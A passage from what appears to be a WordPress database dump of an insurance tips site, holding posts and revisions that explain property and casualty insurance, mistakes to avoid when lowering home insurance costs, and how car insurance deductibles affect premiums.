Example</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-16\">Say a hurricane grazed your area. Your city was far from the eye’s center, but the winds and pounding rain still took their toll. After the storm passes, you notice part of your roof and siding need repair. And unfortunately, a guest who was staying with you trips on the way out over some debris. They require medical attention, and file a lawsuit to receive reimbursement for medical expenses, which total $5,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: Standard home insurance policies typically cover wind damage to your home from hurricanes, but not always. No matter what type of insurance you have, understand your policy to know your coverage and limits.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You file a claim with your home insurance for both your property damage and personal liability. The insurance adjuster determines there’s $50,000 worth of structural damage. You have a special $10,000 hurricane deductible, so the insurer reimburses you $40,000 to fix the damage, spread out over a series of checks. And because homeowners insurance doesn’t have a deductible for liability coverage, the insurer covers the full $5,000 of your guest’s medical expenses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: While you wait for approval of your claim and settlement checks, you must mitigate further losses, such as drying out areas that may have gotten wet in the home and securing tarps over the damaged areas in our scenario.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-22\">Types of Property and Casualty Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-23\">You can find property and casualty insurance under various types of insurance. Here are some of the most common ones and the types of coverage they provide:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-25\"><!-- wp:list-item -->\n<li><strong>Homeowners insurance</strong>: Can protect your house and possessions against perils (theft, fire, storm). Also covers you when you’re legally responsible for damage to someone else’s property or guest injuries that occur on and sometimes off your property.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Condo insurance</strong>: Protects your unit’s interior when there’s structural damage and usually includes liability insurance similar to homeowners insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Renters insurance</strong>: Protects your personal belongings and provides liability coverage similar to homeowners insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Car insurance</strong>: Helps protect you and your car in a few ways, depending on your coverage. Most states require certain amounts of bodily injury and property damage liability coverage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Power sports insurance:&nbsp;</strong>Protects boats, all-terrain vehicles (ATVs), recreational vehicles (RVs), golf carts, and other vehicles similarly to car insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Business insurance:&nbsp;</strong>Protects your business’s assets, such as its buildings and personal property like equipment and inventory. Various types of coverage may fall under the liability portion, including workers’ compensation, errors and omissions, and general liability.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-27\">Do I Need Property and Casualty Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-28\">If you have a loan on your asset, lenders may require you to have certain coverages and limits. For example, homeowners and condo insurance aren’t mandated by law, but your lender likely requires specific levels of coverage as a condition of your loan. Landlords may ask you to have renters insurance as a condition of the lease to reduce their liabilities and avoid having to pay for damages.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: Even if you aren’t obligated to get P&amp;C insurance by law or because you’ve paid off your loan, it’s wise to have these coverages anyway. They protect you from financial hardship in cases of replacing damaged property or paying liability claims that otherwise would have been covered by insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-31\">Auto liability insurance is mandatory in nearly all states, so you must carry at least your state’s minimum liability limits. Your auto loan lender may also require you to have full coverage, which includes liability, comprehensive, and collision coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-33\">Similarly, your state laws may require you to have specific business insurances, such as workers’ compensation or auto insurance for cars used by the business.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebalancemoney.com/what-is-property-and-casualty-insurance-5197178\">click h</a><a href=\"https://www.thebalancemoney.com/additional-liability-insurance-5268121\">ere.</a></p>\n<!-- /wp:paragraph -->','What Is Property and Casualty Insurance?','','inherit','closed','closed','','3855-revision-v1','','','2024-02-27 18:06:00','2024-02-27 18:06:00','',3855,'https://smartinsurance.tips/?p=3857',0,'revision','',0),(3858,1,'2024-02-28 16:27:24','2024-02-28 16:27:24','<!-- wp:paragraph -->\n<p>Some steps can get you into trouble. Others will make you miss out on discounts of 25 percent or more.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3859,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-6-1024x1024.png\" alt=\"\" class=\"wp-image-3859\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Home insurance is too boring for most people to pay much attention to, until they see their bill. With premiums averaging $1,428 a year by one estimate—and expected to rise faster than inflation—you may be scrutinizing your coverage for the first time in a while, or ever. Or you may be new to the game and unsure of the rules, and wondering how to save. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>About those rules: You’ve no doubt been told the proactive things to do, like shopping around and creating an inventory of the contents of your home. But there also are a handful of things you’re better off <em>not </em>doing to save money down the road.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Don\'t Hold Back</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You might think replying “yes” when asked if you own a trampoline, a pool, a “restricted” dog breed, or another perceived risk would boost your premium. And you’d be right. So it’s tempting to keep mum when your insurer inquires. But If your Akita bites someone who then sues you, your lack of candor will come back to bite you. “Insurers can generally rescind a contract, leaving you with an uninsured claim,” says Anthony Verreos, strategic insurance advisor at Real Estate Bees, an industry website based in San Francisco.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Other risky omissions include having a wood stove, a home-based business, a rental unit or an Airbnb-type arrangement and—attention, snowbirds—being away from home for long stretches. Even if you never file a claim, insurers can catch up with you. They have access to public records with information about improvements you’ve made to your property, not to mention a national database of the claims you’ve made with other insurers, Verreos says. Some use drones or other inspection methods as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Tip: </strong>Be up front, and get covered right. With pools, comply with the insurer’s safety rules, including proper fencing (warning: having a slide or diving board could cost you more). Search for insurers that don’t have a problem with your dog breed or buy dog liability insurance, a specialty coverage. Consider an umbrella policy; it will cover liability claims that exceed your other coverages.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Don’t Use a Different Insurer to Cover Your Cars</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If it sounds like a hassle to consolidate all your coverages, consider this: Bundling policies with the same company can cut 30 percent off your premium, and potentially more if you add your boat or motorcycle. A recent Consumer Reports survey of 59,670 members found that people who bundled were significantly more likely to be satisfied with their premiums, says David Gopoian, the CR research program leader who ran the survey.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Tip:&nbsp;</strong>When shopping for new homeowners coverage, be sure to get a quote for the entire bundle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Don\'t Take a Lower Deductible</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While a low deductible could save money if you have a claim, odds are you won’t have one any time soon. Consider, for instance, that only 18 percent of CR members filed a claim within the five-year period covered by our survey. (Members in Plains states filed at the highest frequency: 29 percent.) In the meantime, boosting your deductible to $1,000 from $500 could drop your premium by as much as 25 percent, the III says. So if your annual premium is $1,400, you could save up to $350 in that first year alone. By year two, you’d already be ahead.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Tip:</strong> Devote the savings you’ve earned on your premium to a household emergency fund. Savings or money market accounts that are covered by the Federal Deposit Insurance Corp. are supersafe options.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Don\'t Fail to Ask About Discounts</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Certain good behaviors can shave dollars from your premium. But you may only know if you’re eligible by asking. Paying your bill annually instead of monthly could save you 5 percent. Reminding your insurer that you’ve been claims-free for several years could generate a discount, too. Some insurers reward nonsmokers and retirees for posing a lower risk.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Tip:</strong>&nbsp;Insurers sometimes change discounts, so talk once a year with your insurance agent or a company rep about what’s available to you. Review all your coverages; you may be able to jettison extra endorsements or riders for, say, jewelry or collectibles that you no longer own.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Don’t Fail to Mention Home Improvements</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In that annual convo, also bring up safety and security improvements you’ve made. Replacing a roof with an impact-resistant one earns a 35 percent discount in some states. (In Florida, adding a third nail to roof-to-wall connectors can earn you a big break, too.) Replacing old plumbing, adding a security system, or employing gas- or water-leak detectors can each trim 2 to 6 percent off your premium. Your carrier may reward you for installing a home standby generator. Even cutting back foliage around your home to create a fire break could generate a credit on your bill. Conversely, while it’ll cost you more, report a big kitchen reno or other major improvement so that you’re covered adequately.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Tip:</strong> Keep receipts for home improvements, as well as for big purchases. Having an inventory of those expenditures—and, in fact, all the items you already own—will ensure that you get what you’re owed in the event of a major loss. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Don’t Ignore Your Credit Reports</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>It’s especially important to ensure that your credit information is accurate when you’re moving to a new company. In most states, insurers can use what’s called a credit-based insurance score to price homeowners insurance premiums, and poor credit can generate a premium twice as high as good credit, a PolicyGenius study found. Insurers can even check the scores of current customers to price their policy renewal. Your credit reports from the three major credit bureaus (Equifax, Experian, and TransUnion) contribute to your credit score, so check those regularly to identify errors and correct them.<br><br><strong>Tip:</strong> You can check your credit report for free from each of the three credit bureaus (Equifax, Experian, and TransUnion) on a weekly basis at AnnualCreditReport.com.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Don’t Count on Your Own Loyalty</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While insurers can offer discounts of 5 to 10 percent for longtime customers, staying put could signal that you’re okay with premium hikes. So shop for coverage every couple of years. Among 7,075 Consumer Reports members who switched carriers within the five-year period covered by our recent survey, 39 percent said they did so because they got a better price.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.consumerreports.org/money/homeowners-insurance/things-not-to-do-to-get-cheaper-home-insurance-a1124274136/\">click h</a><a href=\"https://www.thebalancemoney.com/additional-liability-insurance-5268121\">ere.</a></p>\n<!-- /wp:paragraph -->','7 Things Not to Do to Get Cheaper Home Insurance','','publish','closed','closed','','7-things-not-to-do-to-get-cheaper-home-insurance','','','2024-02-28 16:27:24','2024-02-28 16:27:24','',0,'https://smartinsurance.tips/?p=3858',0,'post','',0),(3859,1,'2024-02-28 16:23:51','2024-02-28 16:23:51','','Untitled-6','','inherit','closed','closed','','untitled-6','','','2024-02-28 16:23:51','2024-02-28 16:23:51','',3858,'http://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-6.png',0,'attachment','image/png',0),(3860,1,'2024-02-28 16:27:24','2024-02-28 16:27:24','<!-- wp:paragraph -->\n<p>Some steps can get you into trouble. Others will make you miss out on discounts of 25 percent or more.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3859,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-6-1024x1024.png\" alt=\"\" class=\"wp-image-3859\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Home insurance is too boring for most people to pay much attention to, until they see their bill. With premiums averaging $1,428 a year by one estimate—and expected to rise faster than inflation—you may be scrutinizing your coverage for the first time in a while, or ever. Or you may be new to the game and unsure of the rules, and wondering how to save. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>About those rules: You’ve no doubt been told the proactive things to do, like shopping around and creating an inventory of the contents of your home. But there also are a handful of things you’re better off <em>not </em>doing to save money down the road.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Don\'t Hold Back</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You might think replying “yes” when asked if you own a trampoline, a pool, a “restricted” dog breed, or another perceived risk would boost your premium. And you’d be right. So it’s tempting to keep mum when your insurer inquires. But If your Akita bites someone who then sues you, your lack of candor will come back to bite you. “Insurers can generally rescind a contract, leaving you with an uninsured claim,” says Anthony Verreos, strategic insurance advisor at Real Estate Bees, an industry website based in San Francisco.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Other risky omissions include having a wood stove, a home-based business, a rental unit or an Airbnb-type arrangement and—attention, snowbirds—being away from home for long stretches. Even if you never file a claim, insurers can catch up with you. They have access to public records with information about improvements you’ve made to your property, not to mention a national database of the claims you’ve made with other insurers, Verreos says. Some use drones or other inspection methods as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Tip: </strong>Be up front, and get covered right. With pools, comply with the insurer’s safety rules, including proper fencing (warning: having a slide or diving board could cost you more). Search for insurers that don’t have a problem with your dog breed or buy dog liability insurance, a specialty coverage. Consider an umbrella policy; it will cover liability claims that exceed your other coverages.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Don’t Use a Different Insurer to Cover Your Cars</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If it sounds like a hassle to consolidate all your coverages, consider this: Bundling policies with the same company can cut 30 percent off your premium, and potentially more if you add your boat or motorcycle. A recent Consumer Reports survey of 59,670 members found that people who bundled were significantly more likely to be satisfied with their premiums, says David Gopoian, the CR research program leader who ran the survey.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Tip:&nbsp;</strong>When shopping for new homeowners coverage, be sure to get a quote for the entire bundle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Don\'t Take a Lower Deductible</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While a low deductible could save money if you have a claim, odds are you won’t have one any time soon. Consider, for instance, that only 18 percent of CR members filed a claim within the five-year period covered by our survey. (Members in Plains states filed at the highest frequency: 29 percent.) In the meantime, boosting your deductible to $1,000 from $500 could drop your premium by as much as 25 percent, the III says. So if your annual premium is $1,400, you could save up to $350 in that first year alone. By year two, you’d already be ahead.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Tip:</strong> Devote the savings you’ve earned on your premium to a household emergency fund. Savings or money market accounts that are covered by the Federal Deposit Insurance Corp. are supersafe options.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Don\'t Fail to Ask About Discounts</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Certain good behaviors can shave dollars from your premium. But you may only know if you’re eligible by asking. Paying your bill annually instead of monthly could save you 5 percent. Reminding your insurer that you’ve been claims-free for several years could generate a discount, too. Some insurers reward nonsmokers and retirees for posing a lower risk.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Tip:</strong>&nbsp;Insurers sometimes change discounts, so talk once a year with your insurance agent or a company rep about what’s available to you. Review all your coverages; you may be able to jettison extra endorsements or riders for, say, jewelry or collectibles that you no longer own.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Don’t Fail to Mention Home Improvements</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In that annual convo, also bring up safety and security improvements you’ve made. Replacing a roof with an impact-resistant one earns a 35 percent discount in some states. (In Florida, adding a third nail to roof-to-wall connectors can earn you a big break, too.) Replacing old plumbing, adding a security system, or employing gas- or water-leak detectors can each trim 2 to 6 percent off your premium. Your carrier may reward you for installing a home standby generator. Even cutting back foliage around your home to create a fire break could generate a credit on your bill. Conversely, while it’ll cost you more, report a big kitchen reno or other major improvement so that you’re covered adequately.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Tip:</strong> Keep receipts for home improvements, as well as for big purchases. Having an inventory of those expenditures—and, in fact, all the items you already own—will ensure that you get what you’re owed in the event of a major loss. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Don’t Ignore Your Credit Reports</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>It’s especially important to ensure that your credit information is accurate when you’re moving to a new company. In most states, insurers can use what’s called a credit-based insurance score to price homeowners insurance premiums, and poor credit can generate a premium twice as high as good credit, a PolicyGenius study found. Insurers can even check the scores of current customers to price their policy renewal. Your credit reports from the three major credit bureaus (Equifax, Experian, and TransUnion) contribute to your credit score, so check those regularly to identify errors and correct them.<br><br><strong>Tip:</strong> You can check your credit report for free from each of the three credit bureaus (Equifax, Experian, and TransUnion) on a weekly basis at AnnualCreditReport.com.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Don’t Count on Your Own Loyalty</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While insurers can offer discounts of 5 to 10 percent for longtime customers, staying put could signal that you’re okay with premium hikes. So shop for coverage every couple of years. Among 7,075 Consumer Reports members who switched carriers within the five-year period covered by our recent survey, 39 percent said they did so because they got a better price.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.consumerreports.org/money/homeowners-insurance/things-not-to-do-to-get-cheaper-home-insurance-a1124274136/\">click h</a><a href=\"https://www.thebalancemoney.com/additional-liability-insurance-5268121\">ere.</a></p>\n<!-- /wp:paragraph -->','7 Things Not to Do to Get Cheaper Home Insurance','','inherit','closed','closed','','3858-revision-v1','','','2024-02-28 16:27:24','2024-02-28 16:27:24','',3858,'https://smartinsurance.tips/?p=3860',0,'revision','',0),(3861,1,'2024-02-28 16:35:50','2024-02-28 16:35:50','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3862,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-11-1024x1024.png\" alt=\"\" class=\"wp-image-3862\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>If you’re looking to save money on car insurance, raising your deductible can lower your monthly insurance payment. However, there are some trade-offs to consider when doing this, such as increased out-of-pocket costs for covered repairs. Understanding the pros and cons of changing your deductible can help you choose one that fits your unique coverage needs and budget.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How deductibles can impact your premiums</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Typically, the higher the car insurance deductible you are willing to accept, the cheaper the premiums will be, as you are assuming more financial responsibility in the event of a claim. Conversely, if you have a lower deductible, your insurer assumes more financial responsibility and will therefore typically charge a higher rate for coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have the financial buffer to account for the out-of-pocket costs of a claim but are looking for ways to trim monthly or annual costs, raising your auto insurance deductible may deliver significant savings. For example, increasing a deductible from $200 to $500 could reduce collision and comprehensive coverage costs by 15% to 30%, according to an estimate from the Insurance Information Institute (III). Moving up to a $1,000 collision or comprehensive deductible, the III says, might save you 40% or more.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But there are other factors that can contribute to the amount of premium savings you gain or lose by changing your car insurance deductible. For instance, more expensive vehicles may result in a higher premium that would not significantly be reduced by changing your deductible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In addition, key issues like driving record, miles driven, location and claims frequency also impact your insurance premium over time — influencing how much of a bottom-line difference changing your deductible may make.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In fact, when comparing the impact of moving from a low deductible to a higher one, you may find that once you reach $1,000 or so, going higher (even if you switch carriers) will not return enough in premium savings to make it worthwhile.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As an example, assume that shifting from a $500 to $1,000 deductible shaves 20 percent off your annual premium of $900 — reducing it to $720. But recouping the $500 increase in deductible would take almost three years ($180 in annual premium savings x 3). If you are accident-free during that time, raising the deductible saves money. If not, that higher deductible may have cost you more.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Minimum and maximum deductible limits</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Minimum car insurance requirements vary by state, and insurers may offer a range of separate deductibles with minimum and maximum limits for both comprehensive and collision — the two main types of coverages that typically include deductibles. (There is no deductible on the liability coverage portion of a policy.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nationally, the average annual cost of car insurance in 2023 is $622 for minimum coverage, and $2,014 per year for full coverage, according to quoted premiums from Quadrant Information Services. Standard car insurance deductibles are $500 and $1,000, according to the III, but they can range as wide as $100 to $2,000 in some cases.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Options for setting a deductible may be limited, however, if you have a car loan or lease; most vehicle financing agreements require a maximum deductible for collision and comprehensive coverage — often no more than $500. This means you may be able to pick a lower amount if you prefer, but not a higher one, such as $1,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How deductibles can impact your claim</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If your car is damaged and you file a claim, the deductible is subtracted from the amount your insurer will pay (up to your coverage limit). Say your policy is written with a $1,000 deductible. That recent fender-bender led to a claim for your SUV for damages totaling $3,500. The check you would receive from your insurer to cover the repairs will be $2,500 (not factoring in depreciation).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It is also important to remember that the car insurance deductible you choose applies every time you file a claim. So, if you have two separate accidents during a policy period, and you have a $500 comprehensive deductible, you would pay $500 each time, depending on the circumstances.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sometimes, the type of claim impacts how or even if a deductible applies. In general, deductibles apply when there are covered damages to your car, and not when there are damages to another driver’s vehicle. If you are not at fault in an accident (and you do not live in a no-fault state), you should not have to pay a deductible for damage to your car. In that case, the other car’s driver covers your repairs through their insurance policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Pros and cons of changing your deductible</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As with most things, there are trade offs to consider when altering your car insurance deductible. The consequences of your choice center on your comfort level with the ability to pay a portion of the costs of a claim vs. the premium savings you may gain from accepting more risk.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To help find the sweet spot — the ideal balance of premium and deductible expenses — here are some pros and cons to keep in mind when deciding whether to opt for a higher deductible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Pros</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Cheaper car insurance premiums:</strong> Raising the amount of your deductible has the potential to substantially reduce your insurance premiums. By doing this, you could potentially make the cost of car insurance more affordable.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Flexibility:</strong>&nbsp;If you raise your deductible, it doesn’t have to be a one-time, permanent policy declaration. In most cases, you may have the freedom to choose a deductible that fits your budget, and you are free to reevaluate what your deductible is as circumstances change.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Cash flow for other needs:</strong>&nbsp;Having extra money from premium savings could help pad your emergency fund for other unanticipated expenses, or set aside money to cover that higher deductible before you ever need it.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Cons</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Greater financial responsibility for claims:</strong>&nbsp;With a higher deductible, you will pay more out of pocket for repairs as part of a covered claim, so you need to make sure that you’re able to afford the higher costs. It’s also important to note that in some cases, the amount of damages will be less than your deductible, so you’d need to cover the cost of repairs out of your own pocket.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Limited savings depending on your situation:</strong>&nbsp;As in our earlier example, it helps to do the math and compare potential savings because raising a deductible will not make sense in every case. That is why it can be a good idea to consider all the variables that contribute to the cost of your car insurance and explore different deductible vs. premium options from several car insurance carriers.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Less peace of mind:</strong> If the budget is tight and you would find it hard to pay a high sum every time a claim occurs while you wait for insurance reimbursement, having a higher deductible may not be worth the stress on your finances.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.bankrate.com/insurance/car/how-does-a-deductible-affect-insurance/#frequently-asked-questions\">click here.</a></p>\n<!-- /wp:paragraph -->','How Do Deductibles Impact Your Car Insurance?','','publish','closed','closed','','how-do-deductibles-impact-your-car-insurance','','','2024-02-28 16:35:50','2024-02-28 16:35:50','',0,'https://smartinsurance.tips/?p=3861',0,'post','',0),(3862,1,'2024-02-28 16:33:57','2024-02-28 16:33:57','','Untitled-11','','inherit','closed','closed','','untitled-11-2','','','2024-02-28 16:33:57','2024-02-28 16:33:57','',3861,'http://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-11.png',0,'attachment','image/png',0),(3863,1,'2024-02-28 16:35:50','2024-02-28 16:35:50','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3862,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-11-1024x1024.png\" alt=\"\" class=\"wp-image-3862\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>If you’re looking to save money on car insurance, raising your deductible can lower your monthly insurance payment. However, there are some trade-offs to consider when doing this, such as increased out-of-pocket costs for covered repairs. Understanding the pros and cons of changing your deductible can help you choose one that fits your unique coverage needs and budget.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How deductibles can impact your premiums</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Typically, the higher the car insurance deductible you are willing to accept, the cheaper the premiums will be, as you are assuming more financial responsibility in the event of a claim. Conversely, if you have a lower deductible, your insurer assumes more financial responsibility and will therefore typically charge a higher rate for coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have the financial buffer to account for the out-of-pocket costs of a claim but are looking for ways to trim monthly or annual costs, raising your auto insurance deductible may deliver significant savings. For example, increasing a deductible from $200 to $500 could reduce collision and comprehensive coverage costs by 15% to 30%, according to an estimate from the Insurance Information Institute (III). Moving up to a $1,000 collision or comprehensive deductible, the III says, might save you 40% or more.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But there are other factors that can contribute to the amount of premium savings you gain or lose by changing your car insurance deductible. For instance, more expensive vehicles may result in a higher premium that would not significantly be reduced by changing your deductible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In addition, key issues like driving record, miles driven, location and claims frequency also impact your insurance premium over time — influencing how much of a bottom-line difference changing your deductible may make.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph 